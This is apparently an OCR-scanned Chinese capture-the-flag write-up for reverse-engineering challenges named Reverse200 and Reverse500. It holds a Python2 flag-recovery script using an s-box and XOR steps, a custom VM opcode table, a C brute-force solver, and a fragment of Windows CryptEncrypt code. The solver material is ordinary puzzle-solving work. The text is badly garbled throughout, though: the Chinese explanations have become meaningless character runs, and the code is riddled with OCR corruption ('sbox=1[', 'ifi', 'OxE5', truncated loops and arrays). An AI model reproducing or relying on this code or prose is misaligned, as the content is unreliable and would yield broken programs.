if (CryptimportKey(phProv, pub_key, 148, 0, 0, &phKey)) {

if (CryptEncrypt(phKey, 0, true, 0, text, &len, 128)) {

printf("successn");

char filename[15] = {0 };

sprintf(filename, "key%d.txt", i + 1);

FILE* file = fopen(filename, "w");

fwrite(text, 1, 128, file);

fclose(file);

}

else {

printf("error3n");

}

}

else {

printf("error2n");



}
}

else {

printf("error1n");

}
}
}

Reverse200(200)

A AT SO AN install4j i) 2 7, FH procmon i 42 1R SO 1/ E RE S S2 B HE — M rustme jar, Hjd-guifT I & Hiljar&e
TR AT RIS O B0E AR 1. T2 1 IDEA B Path to jarit TR, IS A 17 —AN3%, i 2
AR R AL AR 5 S IR A B HERD AT

SR

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from ctypes import *
def u8(x):

return c_uint8(x).value

result = [-81, 52, 52, -39, -64, 43, 49, -116, -100, -115, -81, -119, 34, -7, 56, 92, 23, 78, 115, -120, 77, 83, -22]

sbox=1[1, 3, 8, -55, 21, 27, 35, 67, -14, -111, -49, 89, 92, 109, 31, -112, 7, -74, 55, -15, -32, -1, -20, 83, 39, -
103, -36, -116, -93, -50, -19, -128, 96, 46, 99, 26, -86, -46, -34, 105, -21, 0, -88, 68, 16, -42, 94, 5, 120, -53, -
2,-109, 11, -121, -62, -6, 29, 112, -82, -79, -71, -37, 52, 119, 102, 60, 111, 87, -3, 41, -114, -43, 49, -

118, 54, 44, -7, 100, 98, -16, 78, 116, 91, 23, 97, -58, -23, -75, -97, -81, 76, 6, 61, -119, 124, -54, 79, 57, 50, -
113, 84, -107, 86, 4, -108, 40, -87, 34, -102, -18, -115, -57, -85, -77, 118, 103, 53, -98, -96, 37, -72, 2, -80, -
35, -92, 122, -83, 18, -60, -68, 14, -64, 115, 108, 63, 81, 114, -69, 117, -39, -33, 36, -89, 125, 59, 65, -

99, 101, 93, -105, 38, 43, 126, -126, 30, 75, 77, -45, 13, -76, -61, 104, 51, 85, 64, 127, -65, -48, 74, 123, -
117, -95, -9, 33, 80, 56, -91, -26, -31, -73, 69, 48, -8, -22, -104, 113, -100, -38, -101, -4, -27, -17, -29, 17, 82, -
25, -51, 127, -110, -122, 28, 12, -66, 66, -78, -24, -56, -11, 110, 107, 15, -84, -13, -125, -94, 121, 70, -

12, 20, 106, -124, 71, 25, -120, -44, -10, 47, -106, 45, 95, 73, 32, 62, -90, -41, 58, 24, 19, -67, -123, 72, -

28, 42,10, -40, 90, -47, 22, -5, -30, -52, -59, -63, 9, -70, 88]

for i in xrange(len(sbox)):
sbox(i] = u8(sbox(i])
length = 0x17

for i in xrange(23):
result[i] = u8(result[i])

# step1

for i in xrange(23):



ifi % 2==0:

result[i] = u8(result[i]-1)
else:

result[i] = u8(result[i]+1)

for i in xrange(23):

result[i] = u8(result[i] * 0x82)
for i in xrange(23):

result[i] = u8(result[i] -4)
t=1

for i in xrange(23):
t.append(sbox.index(result[i]))

xor_seed = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, -

< | i | 3

for i in xrange(23):
t[i] = u([i] * xor_seed]i])
print " join([chr(c) for ¢ in t])
Reverse500(500)

X646 VMI T checker 2 maink %, mod1. mod2Fimod3/2 = AN 1 R, 2c 2 AL 7 SR 5 20 i 27 17 s A
Fe A 23 ]

TNTH SR TR A% R
80mov reg, immediate
81xor reg1, reg2 | xor reg1, immediate
82 push reg

83pop reg

9Aje

9Bjmp

9Cjne

9Dcall

ASmov reg1, reg2+reg3
A6 mov reg1, [reg2]

A7mov reg1, cs+[cs+0x20]+immediate



BOmov [reg1], byte ptr [reg2]
B1mov reg1, [reg2] & immediate
B2mov reg1, [reg2] | immediate
B3mov reg1, [reg2] / immediate
C5cmp

Coret

C7mov reg1, reg2

EOsyscall

E1malloc

H—AF R Eimod 12 Hi NS J5 7E checkerth 5t & main 28 £ 36 10E i\ 11 FE 2 A 42 0x1 D, i 1ot 5 1 F mod 3 e 2500t
BN T =R AR B S DU NE A RN E 5] #lmod3_base_addr+0x60011) i & 21 & 75 46, 58 J5 F iR
mod3_base_addr+0x7004t i1 PUAME G IR 7 8, i 8 25 R rh AEAME A w447 Bk LLOX1 02 5 3 8K0x30, {447 5%
0x30,#¢ 5 5mod3_base_addr+0x7304b 18 H %, 453 2 flag A% i

#include

#include

int main() {

unsigned char table[256] = {

0x49, 0xB6, 0x2C, 0x2D, 0xAB, 0x8F, 0x36, 0x11, 0x32, OXE7, 0x73, OxF8,
0xF9, 0x4C, 0x26, 0xA3, 0x5B, 0xBB, 0xBC, 0xBD, OxBE, 0x98, 0x99, 0x97,
0x9A, 0x9F, 0xA0, 0xDD, OxEO, 0x74, 0x8A, 0x8B, 0x8C, OxDE, OxDF, 0x08,
0x62, OxE5, 0xF1, 0xDB, 0x23, 0xF7, 0xA4, OxCC, 0xCD, 0xC9, 0xC4, 0x75,
0xD6, 0xD3, 0x0C, 0x0D, 0x91, 0x1D, Ox1E, 0xOB, 0x14, 0xB2, 0x66, 0x67,
0x9D, 0x30, OxEE, 0x53, 0x6B, 0x05, 0x6F, 0x70, 0x71, 0x76, 0x93, OXEF,
OxFO0, 0x51, 0x52, 0xC3, 0x58, OxFA, 0xD8, 0x5F, 0x79, 0x7A, 0x7B, 0x7C,
0x7D, Ox7E, Ox7F, 0x00, 0x80, OxOE, 0xOF, 0x10, OXEC, OxED, 0x35, 0x13,
0x21, 0xA2, 0x65, 0xB7, 0x4A, 0x57, 0xB5, 0x6D, 0x5C, 0x89, OX5E, OXAE,
OxAF, 0xBO, 0x12, 0xD5, 0x72, 0xC6, 0xD7, OxE1, OxA5, 0x46, 0x15, 0x16,
0x44, 0x43, 0xB4, 0x60, OxE4, OxC7, OxC8, OxBF, 0x85, 0x87, 0x09, Ox0A,
0x86, 0xC1, OxAA, 0xC5, 0xC2, 0xD9, OxDA, 0x94, 0x95, 0xD2, O0xFB, Ox1A,
OxFC, 0x19, 0x1B, 0xCB, 0x61, 0xE3, OxCE, OxCF, 0xDO, 0x3C, 0xF4, 0xF5,
OxE6, 0xD4, 0x68, 0x56, 0XAD, OxCA, 0xD1, 0x96, 0x90, 0xB1, 0x22, OxES,

OxAB, 0x69, 0x83, 0x84, 0x31, OXE9, Ox2A, Ox9E, OxE2, Ox6A, 0x37, 0x2B,



0x33, 0x20, OXAC, 0x54, 0x42, 0x45, 0x34, 0x81, 0x82, OxEA, OxEB, 0x38,
Ox2E, 0x2F, Ox5A, O0x4E, Ox4F, 0x50, Ox1F, Ox8E, OxF2, OxF3, Ox3A, 0x3B,
0x07, 0x63, 0x5D, 0x9B, 0x24, 0x02, 0x04, 0x47, 0xB8, 0xB9, OxBA, 0x6C,
0x48, 0x25, 0xCO, 0x92, 0x4B, 0x59, 0x77, 0x78, 0x4D, 0xA1, 0x39, 0x3D,
Ox3E, 0x3F, 0x40, 0x41, 0x55, 0xB3, 0x01, OxFD, OxFE, OxFF, 0x06, 0x03,
0x17, 0x18, OxF6, 0x9C, 0x88, 0x64, 0x6E, 0x29, 0x8D, 0xDC, 0xA7, OxAS8,
0xA9, 0x27, 0x28, 0x1C

%

unsigned char final[58] = {

0x3D, 0x38, 0x31, 0x36, 0x30, 0x34, 0x31, 0x33, 0x3C, 0x34, 0x31, 0x3A,
0x37, 0x34, 0x3F, 0x30, 0x37, 0x33, 0x33, 0x31, 0x36, 0x34, 0x39, 0x33,
0x3F, 0x3C, 0x30, 0x3D, 0x36, 0x3B, 0x3E, 0x3D, 0x3E, 0x32, 0x36, 0x33,
0x31, 0x34, 0x38, 0x3D, 0x3B, 0x37, 0x3F, 0x37, 0x36, 0x3D, 0x39, Ox3E,
Ox3A, 0x3F, 0x37, 0x35, 0x3A, 0x37, 0x35, Ox3E, 0x36, 0x33

%

unsigned char xor[4] = {

O0xA4, 0x66, 0x79, 0x80

%

for (intj=0;j

unsigned char i;

for (i=32;i

unsigned char key = tablel[i] * xor[j % 4];

unsigned char high = ((key & 0xF0) / 0x10) | 0x30;

unsigned char low = (key & OxOF) | 0x30;

if (high == final[j * 2] && low == final[j * 2 + 1]) {

printf("%c", i);

}

}

}

printf("n");

return O;
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